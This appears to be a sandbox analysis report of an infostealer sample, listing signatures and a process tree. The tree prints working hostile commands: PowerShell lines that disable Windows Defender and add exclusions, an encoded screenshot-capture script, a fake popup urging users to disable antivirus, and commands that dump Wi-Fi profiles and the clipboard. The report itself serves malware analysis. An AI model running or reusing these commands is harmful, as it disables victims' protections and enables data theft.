Analysis

  • max time kernel
    117s
  • max time network
    115s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-06-2024 20:35

General

  • Target

    be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe

  • Size

    85.0MB

  • MD5

    a543cc8bf0b67e3a9df1e5c3d762c553

  • SHA1

    37e5f21b3fdc35b26a9d0a6066141060bf4b0402

  • SHA256

    be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0

  • SHA512

    e497a250913efd8c13065df1bbe466bdc7a49e54b440b1999f4e92ccd630641c2d6bcafad39af1222582cde5a61129e2a558e7b741c4be7c535208f4afca8e8e

  • SSDEEP

    1572864:9IC7jQipifYxqmMDnY8TzyZlhH/pAkCN8HTfcUhJq/PEJKtOa:L7j3pSU1/RPl2YKtF

Malware Config

Signatures

  • Enumerates VirtualBox DLL files 2 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 13 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe
    "C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:216
    • C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe
      "C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4572
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4168
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:680
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4992
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3108
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:448
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2288
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "start bound.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2140
        • C:\Users\Admin\AppData\Local\Temp\bound.exe
          bound.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2028
          • C:\Users\Admin\AppData\Local\Temp\bound.exe
            bound.exe
            5⤵
            • Enumerates VirtualBox DLL files
            • Executes dropped EXE
            • Loads dropped DLL
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            PID:3948
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "ver"
              6⤵
                PID:4284
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\Local\""
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:5472
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c C:\Users\Admin\Local\activate.bat
                6⤵
                  PID:2472
                  • C:\Windows\system32\attrib.exe
                    attrib +s +h .
                    7⤵
                    • Sets file to hidden
                    • Views/modifies file attributes
                    PID:5772
                  • C:\Users\Admin\Local\wsappx.exe
                    "wsappx.exe"
                    7⤵
                    • Executes dropped EXE
                    PID:7128
                    • C:\Users\Admin\Local\wsappx.exe
                      "wsappx.exe"
                      8⤵
                      • Enumerates VirtualBox DLL files
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: GetForegroundWindowSpam
                      • Suspicious use of SetWindowsHookEx
                      PID:4348
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "ver"
                        9⤵
                          PID:4840
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\Local\""
                          9⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:6740
                    • C:\Windows\system32\taskkill.exe
                      taskkill /f /im "bound.exe"
                      7⤵
                      • Kills process with taskkill
                      PID:7040
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error! Please disable your antivirus and run it with administrator permissions', 0, 'Error!', 0+16);close()""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5092
              • C:\Windows\system32\mshta.exe
                mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error! Please disable your antivirus and run it with administrator permissions', 0, 'Error!', 0+16);close()"
                4⤵
                  PID:1632
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:32
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  4⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3656
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3604
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic csproduct get uuid
                  4⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3124
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2924
                • C:\Windows\system32\reg.exe
                  REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
                  4⤵
                    PID:4804
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3332
                  • C:\Windows\system32\reg.exe
                    REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
                    4⤵
                      PID:3128
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1384
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic path win32_VideoController get name
                      4⤵
                      • Detects videocard installed
                      • Suspicious use of AdjustPrivilegeToken
                      PID:528
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2484
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic path win32_VideoController get name
                      4⤵
                      • Detects videocard installed
                      PID:1992
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe""
                    3⤵
                    • Hide Artifacts: Hidden Files and Directories
                    • Suspicious use of WriteProcessMemory
                    PID:5036
                    • C:\Windows\system32\attrib.exe
                      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe"
                      4⤵
                      • Views/modifies file attributes
                      PID:4692
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏  ‎.scr'"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3120
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏  ‎.scr'
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:5116
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:732
                    • C:\Windows\system32\tasklist.exe
                      tasklist /FO LIST
                      4⤵
                      • Enumerates processes with tasklist
                      PID:3420
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2288
                    • C:\Windows\system32\tasklist.exe
                      tasklist /FO LIST
                      4⤵
                      • Enumerates processes with tasklist
                      PID:4056
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                    3⤵
                      PID:32
                      • C:\Windows\System32\Wbem\WMIC.exe
                        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                        4⤵
                          PID:2484
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                        3⤵
                          PID:4840
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-Clipboard
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2492
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                          3⤵
                            PID:1068
                            • C:\Windows\system32\tasklist.exe
                              tasklist /FO LIST
                              4⤵
                              • Enumerates processes with tasklist
                              PID:1480
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                            3⤵
                              PID:1968
                              • C:\Windows\system32\tree.com
                                tree /A /F
                                4⤵
                                  PID:5096
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                3⤵
                                  PID:676
                                  • C:\Windows\system32\netsh.exe
                                    netsh wlan show profile
                                    4⤵
                                    • Event Triggered Execution: Netsh Helper DLL
                                    PID:2920
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "systeminfo"
                                  3⤵
                                    PID:396
                                    • C:\Windows\system32\systeminfo.exe
                                      systeminfo
                                      4⤵
                                      • Gathers system information
                                      PID:408
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                    3⤵
                                      PID:1060
                                      • C:\Windows\system32\reg.exe
                                        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                        4⤵
                                          PID:688
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                        3⤵
                                          PID:1564
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                            4⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:4436
                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yb0ojtas\yb0ojtas.cmdline"
                                              5⤵
                                                PID:5692
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1EAE.tmp" "c:\Users\Admin\AppData\Local\Temp\yb0ojtas\CSCBA46A09D4E24438879C62FE39CFD6ED.TMP"
                                                  6⤵
                                                    PID:5896
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                              3⤵
                                                PID:2308
                                                • C:\Windows\system32\tree.com
                                                  tree /A /F
                                                  4⤵
                                                    PID:5436
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                                  3⤵
                                                    PID:5512
                                                    • C:\Windows\system32\attrib.exe
                                                      attrib -r C:\Windows\System32\drivers\etc\hosts
                                                      4⤵
                                                      • Drops file in Drivers directory
                                                      • Views/modifies file attributes
                                                      PID:5700
                                                  • C:\Windows\system32\cmd.exe
